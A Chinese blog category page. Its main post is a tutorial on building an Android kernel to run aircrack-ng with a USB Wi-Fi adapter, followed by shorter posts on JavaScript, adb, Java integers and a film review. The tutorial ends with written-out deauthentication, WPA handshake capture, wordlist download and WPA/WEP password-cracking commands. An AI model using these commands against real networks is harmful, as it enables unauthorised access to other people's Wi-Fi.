Category:Experience

Found 58 records. At Page 10 / 12.

Aircack-ng on Android Using Wireless Adapter + OTG Compile Kernel

-
更新於

警告:若本心得損壞了您的裝置,本人不負任何責任!我也沒必要回答您的任何問題!
本方法僅作測試用!不做非法用途,使用後,法律責任請自行負擔!

說明:使用WIFI USB 在手機/平板上實現Aircrack-ng WIFI 攻擊。開出 Monitor mode。進行各種測試。像是:DeAuth、FakeAuth、Crack WPA/WPA2/WEP Password、ARP……。各種超乎想像的攻擊,你覺得自己的Wifi安全嗎?我會回答:極度不安全。你呢?

首先我要說這一路完成是多麼的不容易,必須要有「耐心」,不畏懼困難與失敗不斷一再地嘗試,才可以通往成功之路。(我失敗的次數挺嚇人的,失敗30次以上,花了四個工作天才完成。)

和我用相同裝置(SM-T235Y)的人就可以免除這些動作,因為我已經編譯好一個boot.img公開下載,最下面有下載地址(要先裝好CM12.1,XDA有ROM下載地址,接著再刷我編譯的核心就可以了)。

※這篇主要是一篇心得文章,意思是我不太想回答別人的問題,但會盡我所能的詳述我各種遇上的困難與解決方法。

準備工具:

JDK、NDK、Build-Essential……LIB等。

手機/平板 、 OTG線(USB母、Mirco USB公) 、 支援Monitor Mode的無線網卡USB。

ROM 安裝包(boot.img)、 Kernel Source。

-----

我準備的是:Samsung Galaxy Tab 4 7.0 LTE T235Y 、 TP-Link WN722N。

建議開始編譯前,先調查好支援的網卡晶片型號是什麼,以及是否可以成功開出Mon模式。我之前很大的錯誤點,就是我買了RTL8188CU,難怪開不出Mon。

可以到這個網站去查詢該網卡晶片是否被Aircrack-ng所支援:

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

大致上準備完畢就可以開始編譯工作,如果你的手機/平板很熱門,網路上有人開發出支援網卡的核心的話,就可以跳過這步。

第一步,必須在Ubuntu的環境下進行編譯核心,並且安裝好必要組件(網路上搜尋就有一堆教學)

開啟終端機,進入先解壓縮核心,tar xvf Kerenl_Source,然後 cd 進去資料夾內。

cd Kernel_Source_Dir

有些教學可能會要使用者先Clean,不過在這之前,我們要先確定GCC編譯工具的位置,就是所下載的NDK,解壓縮後裡面會有toolchains,進去裡面找到「合適」的GCC。

(可能要先去搜尋你手機或平板的CPU是什麼型號,建議可以先去Google Play下載CPU Spy,就會知道用什麼版本號的GCC,要對應正確的版本,否則會編譯失敗,如下圖,就是編譯失敗的結果。)

確定好,GCC的路徑之後,匯入交叉編譯的變數裡面。或是直接更改Make檔案。記得ARCH一定要設定成arm,接著就執行make clean && make mrproper,示例代碼如下。

(不一定完全符合你裝置的型號!要自己去匹配正確的GCC編譯工具,當初我就卡死在這,明明照教學卻一直編譯失敗)

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make clean && make mrproper

照理是不應該出現Command Not Found,如果跑出這句話,表示GCC沒有正確的匹配到!要檢查路徑是否正確,如果都正常的話,就進入下一步,配置.config檔案。

(我們可以在Make File裡面做一些更改,Extraversion改成你想取的版本號!只能英文小寫,不能有空格,例如:weil-jimmer-build-v1,不超過64個字母為限!)

DEVICE_NAME=裝置名稱(XXXX_deconfig,例如:degaslte_01_defconfig)
可以進入ach/arm/config找尋匹配你裝置的配置檔案。

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make DEVICE_NAME

重新配置Linux核心。

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make menuconfig

接著應該會跳出藍底灰介面黑字的畫面。

我們要在裡面配置網卡驅動,使目標驅動Built-in,這樣接上OTG才可以讓網卡正確工作。

詳細配置方法可以參考:

https://support.criticallink.com/redmine/projects/arm9-platforms/wiki/USB_WiFi_Configuration

最後,就是編譯,有些教學會在make 後面加個參數 -j5 之類的,我倒覺得沒差,只是跑多線程編譯,會變比較快而已!

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make

,按下Enter後,就可以去喝個咖啡,看看影片,等個幾十分鐘,最後,就會看到Kernel:arch/arm/boot/zImage is Ready。

到這一步時,又使我卡住了,下一步呢?有不少教學提供參考是,把zImage轉成ZIP,用Recovery刷進去裡面,但是要有AnyKernel.zip而且要符合裝置型號,並不是每台裝置都支持!有AnyKernel.zip之後,就只是把zImage丟進去取代,再刷入裝置。

但,像我這種冷門平板,怎可能有相對應的型號!所以,我們得另求方法,網路上有人又說了,可以在手機上使用 Odin Mobile App,刷入zImage,但也是一樣,只對特定機型有支援而已,而我的裝置還是處於冷門狀態,也不支援這方式!

也有人說:可以使用指令:

zImage=zImage的路徑

fastboot flash zimage zImage

相對的,這是裝置必須支援 bootloader!不過因為我的裝置是三星,所以,沒有bootloader,這方法不可行!

因此我用了一個比較危險但Work的方法!

就是抽取boot.img,切割為 RamDisk + zImage,最後再組合回去!用TWRP刷入裝置boot裡面!

boot.img 怎麼取得?答案就是從 ROM安裝包裡面解壓縮出來!(要從裝置系統分區提取出來也是可行!不過太複雜,不採用。)

接著我們把boot.img透過 Android Kitchen,切割,最後把我們編譯的zImage丟進資料夾取代,最後合成出一個新的boot.img!

Android Kitchen 下載地址:

主要地址:https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q

備用地址:http://cht.tw/h/t8f85

當合成好boot.img,就可以來刷入裝置!

刷入成功後,可以確認一下版本號,檢查核心是不是自己所編譯的那個zImage!

成功之後,可以先去Google Play下載一個工具ifconfig或是終端機還是什麼的,總之可以檢查網卡的工具,然後把OTG+天線插入裝置中,檢查是否多出了wlan1。(可能需要用終端機,輸入指令ifconfig wlan1 up。)

(如果沒有找到wlan1,可能需要先複製驅動檔案到/verndo/firmware/,例如我的AR9271天線,就有一個firmware檔案名為htc_9271.fw,可以在 https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo 下載的到,使用Root Explorer複製驅動貼上至「firmware」資料夾,各個裝置可能不太相同!請自行判斷。)

經確認,多了一個 wlan1 網卡,而且移除OTG線,wlan1就消失了,所以可以肯定,就是我們所插入的WIFI usb網卡。

下一步,我們可以去 Google Play 商店上,安裝 Linux Deploy ,

(核心要有支援loopback device,一樣這個可以在內核Linux配置裡面找到,或是直接修改.config檔案,備註:.config檔案屬性是隱藏的。)

CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8

(可能要先關閉SELinux,不對,應該說分區系統的配置最好都設定777,可以去搜尋一下loop device的配置。)

等待安裝完成啟動Linux!

透過 ssh 或是 vnc 連線至 localhost ,密碼預設是 changeme。

成功連線後,進入Linux,

sudo apt-get install ethtool
sudo apt-get install usbutils
sudo apt-get install aircrack-ng
ifconfig wlan1 up
airmon-ng start wlan1

最後 airodump-ng wlan1mon 一下。測試可以抓到資料,就大功告成了!

這就是我冷門平板編譯成功 支援 網卡 loop裝置實現 aircrack on android 的圖片。

萬事俱備,就可以來破解Wifi密碼了。

先監聽一下目標。

airodump-ng wlan1mon

找到目標後,Ctrl+C 取消進程。然後監聽特定目標並存檔。

airodump-ng --bssid BSSID -c CHANNEL -w OUTPUT_FILE_NAME wlan1mon

最後給AP來個DeAuth!

aireplay-ng -0 1 -a AP_MAC -c CLIENT_MAC wlan1mon
    #-0 DeAuth Count.

就可以得到 WPA/WPA2 4-way HandShake 關鍵包。

接著就來 aircrack !爆破WPA2/WPA密碼。

字典檔可以在這下載:http://dazzlepod.com/site_media/txt/passwords.txt

wget http://dazzlepod.com/site_media/txt/passwords.txt
aircrack-ng -w PASSWORD_FILE -b BSSID OUTPUT_CAP_FILE*.cap

WEP則另當別論。用aireplay-ng -3 ARP Attack即可。得到一萬個IVS之後,用aircrack-ng 的 -a 1 WEP 破解模式。

資料下載:

Android Kitchen:

http://cht.tw/h/t8f85

https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q

htc9271.fw

http://cht.tw/h/714gi

https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo

.config (僅供參考,切勿直接使用,裝置不一的話,可能會損壞你的裝置)

http://cht.tw/h/h9cxr

https://mega.nz/#!scVxWSYY!hMzV3AMHC9YMru8rQjMUPyq81q8x7l2n-PpTdY7l1CQ

CM12.1 (FOR SM-T235(Y) Only)

https://www.androidfilehost.com/?fid=24052804347790522

http://cht.tw/h/r6su9

weil-jimmer-wifi-build-v5.img (FOR SM-T235Y CM12.1 Only)

http://cht.tw/h/37tld

https://mega.nz/#!QYFHxTJb!w1whKQ7SPrdtVZdtsPnTepEMPxpDtD2I7tnU2jXSCBk

By Weil Jimmer


This entry was posted in Experience, Functions, General, Note, Tools, Wi-Fi By .

JavaScript XML Dom 標籤名稱有冒號的情況 getElementsByTagName

-
更新於

如下:< > 標籤名稱裡面有冒號的情況,要如何getElementsByTagName,查了不少資料都沒有說…感覺是我不懂XML才會這樣。

只知道JQ搜尋的時候冒號前面要加兩條斜槓,但JavaScript不是。

JavaScript 是

xmlDoc.getElementsByTagName("encoded")[0].childNodes[0].nodeValue;

也就是找尋:xml標籤「冒號」,後方的名稱,而不是搜尋冒號前面的名稱,更不是兩個一塊打上去中間加冒號。

錯誤很多次的心得,這次寫個小筆記。


This entry was posted in Experience, Functions, JS, XML By .

解決 Android Studio Adb 無法啟動的問題

-
更新於

如上,情況。

通常都是 Port 5037 被佔用,或是已有的adb程序已經被啟動了,只要找到目標程序,並終結掉就正常了。

解決方法可以用 TCPview之類的工具查看,或是超級工作管理員等,找尋其他可能的adb程序。

比如:快快遊戲、QQ、還有啥麼root工具、手機管理工具之類的。殺掉就可以正常運作。


This entry was posted in Experience, Functions By .

魔鬼終結者5 劇情/觀後感

-
更新於

打從一開始看完就覺得怪怪,有點混亂了。

去查資料,再重新想一次,一切又解釋通了。

====================

首先,先從第一集講起,第一集凱爾拯救莎菈,然後他生出的小孩康納成為反抗軍領導,這是極度正常,也很好理解。他自己小孩從未來把凱爾送回到過去救母親。

So, 正常的時空,正常的邏輯,姑且叫這個正常的世界為「世界A」。

到了第二集時,未來再送出一個T800及殺手T1000回到過去,這就改寫了歷史,所以未來也跟著改變,如果有看過第三集,有一幕是說:康納本來會和凱特在一起,成為夫婦,但是T800出現了,卻改變未來,而凱特的父親卻是Skynet的重要相關研發人員之一。(國防部部長?)

So, 第二集又再次改變歷史,那我們再次稱這個世界為 世界B 吧。

到了第三集,未來又送回了T800、TX,剩下都不解釋了,改寫未來,改寫歷史,叫做一個新的平行世界C吧,

第四集,這個沒有從未來送回過去,所以沒有改變歷史。

現在可以稍微重整一下思路:

首先世界A是原本應該要發生的,但是,出現了一個分岔點,就是未來送回T800,所以世界A在此消失(應該說變為另一個平行世界吧),主世界變為世界B,後續以此類推。

=============

第五集,處於一個世界C的情況,所以,康納沒有成功擊敗天網,也很正常,或說,康納送回凱爾發生意外很正常。

天網製造了一個T5000,在凱爾被正常傳送到過去 之前 感染了康納,並殺了他的部下。

(很奇特吧,這樣怎麼能說 反抗軍打敗了天網。邏輯不通,但是這不是世界A,也不是世界B,而是 一個新的世界C,所以發生這種事情應該也很正常。就是,康納沒有打敗天網。)

當康納被天網感染,並同化成一個新的半人半機的T3000之後,我猜測,可能搭上了時光機,回到過去,去改寫歷史了,讓天網慢一點誕生,所以如果凱爾到了他們所熟知的審判日的那天,其實是正常的世界,根本沒有審判日,因為天網覺醒的日子又被往後延了,叫做新紀元。

在此刻,凱爾回到更早的年代,所以,凱爾到的那個年代,並沒有被改寫歷史,正常來講是處理世界A,但是因為被送回「T800、T1000」,所以未來也要跟著改變,這點很奇特!

那個T800到底是誰送回去的,而且他怎麼知道這段歷史!匪夷所思。

姑且不追究這個問題,T3000到了還滿後面的時間點,所以,改變是改變後面一點的時間點,不過凱爾說服了莎拉,所以到了 T3000 改變的歷史的那個年代。

這樣就全部解釋通了。唯一可能還有疑點的就是:T3000是世界C的產物,他們回到過去,也理當回到世界A的過去,問題是世界A已經被送來的T800、和T1000給改變了,

而不知道到底是誰送回T800的。因為資料都被刪掉了。

==>既然天網做出T5000,可以感染人類,那天網怎麼可以算是被打敗。科技太先進,看這部片,只會讓我思考,T3000到底是什麼東西!太強大了,有人說T1000感覺比康納厲害,我反倒不覺得,我認為最強的還是T3000、T5000是超級BOSS,感染了康納。

整部片,評分我要給滿差的,因為根本幾乎要時空混亂了。特效啥麼的,還好。有點爛了,跟第三集差不多,我覺得第四部還好一點。

7/10分吧。

By Weil Jimmer


This entry was posted in General, Experience By .

int 和 Integer 的比較 Java 程式設計

-
更新於

int test_int_1 = 1;
int test_int_2 = 1;
System.out.println(test_int_1==test_int_2);//true
int test_int_3 = new Integer(1);
int test_int_4 = new Integer(1);
System.out.println(test_int_3==test_int_4);//true
int test_int_5 = new Integer("1");
int test_int_6 = new Integer("1");
System.out.println(test_int_5==test_int_6);//true
int test_int_7 = Integer.valueOf(1);
int test_int_8 = Integer.valueOf(1);
System.out.println(test_int_7==test_int_8);//true
int test_int_9 = Integer.valueOf("1");
int test_int_10 = Integer.valueOf("1");
System.out.println(test_int_9==test_int_10);//true
Integer test_integer_1 = 1;
Integer test_integer_2 = 1;
System.out.println(test_integer_1==test_integer_2);//true
System.out.println(test_integer_1.equals(test_integer_2));//true
Integer test_integer_3 = new Integer("1");
Integer test_integer_4 = new Integer("1");
System.out.println(test_integer_3==test_integer_4);//false
System.out.println(test_integer_3.equals(test_integer_4));//true
Integer test_integer_5 = Integer.valueOf("1");
Integer test_integer_6 = Integer.valueOf("1");
System.out.println(test_integer_5==test_integer_6);//true
System.out.println(test_integer_5.equals(test_integer_6));//true

據我實驗觀察,所得 只要是 int==int 的比較,一定是比較值,若為Integer==int,也一定是比較其值。

唯一為False的情況是當有new出現時:

new Integer("1")==new Integer("1");//false

用 valveOf 得出來的 Integer 類別,進行比較(==),也是 valueOf括號內的值(不管類別是String還是int…)(都小於等於127大於等於負128的情況)是否相等。

test_integer_6 = Integer.valueOf("1");
Integer test_integer_7 = Integer.valueOf(1);
System.out.println(test_integer_6==test_integer_7);//true
System.out.println(test_integer_6.equals(test_integer_7));//true

System.out.println(test_integer_1==test_integer_3);//false
System.out.println(test_integer_1.equals(test_integer_3));//true
System.out.println(test_integer_5==test_integer_3);//false
System.out.println(test_integer_5.equals(test_integer_3));//true
System.out.println(test_integer_7==test_integer_3);//false
System.out.println(test_integer_7.equals(test_integer_3));//true

若 Integer 比較 Integer ,其中之一關鍵字有 new ,== 比較子出來的結果可能就為 False 。

以下為特殊例子!數值小於等於127大於等於負128時不會new,但若不在此區間時,就會以new宣告。

以new宣告的時候==通常都是false,

進行 比較 int 時若其值相同會轉發True。

Integer test_special_1 = Integer.valueOf(127);//等於Integer test_special_1 = 127;
Integer test_special_2 = Integer.valueOf(127);
System.out.println(test_special_1==test_special_2);//true
System.out.println(test_special_1.equals(test_special_2));//true
Integer test_special_3 = Integer.valueOf(128);//等於Integer test_special_1 = 128;
Integer test_special_4 = Integer.valueOf(128);
System.out.println(test_special_3==test_special_4);//false
System.out.println(test_special_3.equals(test_special_4));//true

若本人有誤,歡迎更正。


This entry was posted in Experience, Functions, Java By .